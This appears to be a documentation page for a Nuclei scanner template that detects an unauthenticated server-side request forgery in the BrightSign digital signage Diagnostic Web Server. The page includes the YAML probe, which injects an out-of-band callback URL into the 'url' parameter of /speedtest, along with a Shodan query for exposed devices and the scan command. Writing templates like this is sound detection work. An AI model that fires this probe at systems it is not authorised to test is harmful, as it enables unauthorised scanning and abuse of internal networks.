BrightSign Digital Signage Diagnostic Web Server 8.2.26 Unauthenticated - SSRF
ID: brightsign-dsdws-ssrf
Severity: medium
Author: 0x_Akoko
Tags: ssrf,brightsign,unauth
Description
Section titled “Description”Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the BrightSign digital signage media player affecting the Diagnostic Web Server (DWS). The application parses user supplied data in the ‘url’ GET parameter to construct a diagnostics request to the Download Speed Test service.
YAML Source
Section titled “YAML Source”id: brightsign-dsdws-ssrf
info: name: BrightSign Digital Signage Diagnostic Web Server 8.2.26 Unauthenticated - SSRF author: 0x_Akoko severity: medium description: Unauthenticated Server-Side Request Forgery (SSRF) vulnerability exists in the BrightSign digital signage media player affecting the Diagnostic Web Server (DWS). The application parses user supplied data in the 'url' GET parameter to construct a diagnostics request to the Download Speed Test service. reference: - https://brightsign.zendesk.com/hc/en-us/articles/360056180694-Regarding-Advisory-ID-ZSL-2020-5595 - https://www.zeroscience.mk/codes/brightsign_ssrf.txt metadata: verified: true max-request: 1 shodan-query: title:"BrightSign" tags: ssrf,brightsign,unauth
http: - method: GET path: - '{{BaseURL}}/speedtest?url={{interactsh-url}}'
matchers-condition: and matchers: - type: word part: interactsh_protocol # Confirms the HTTP Interaction words: - "http"
- type: dsl dsl: - 'contains(body_1, "Downloaded")'# digest: 4a0a0047304502210083bbc0978e61d4f296c7488db44caa87aa9efe9f435959ff783e33aa07297ec40220104f6b7b24153fbe9f4fc595b6eff4fb7fc280f0d395613a7dfc4875040a7452:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/vulnerabilities/other/brightsign-dsdws-ssrf.yaml"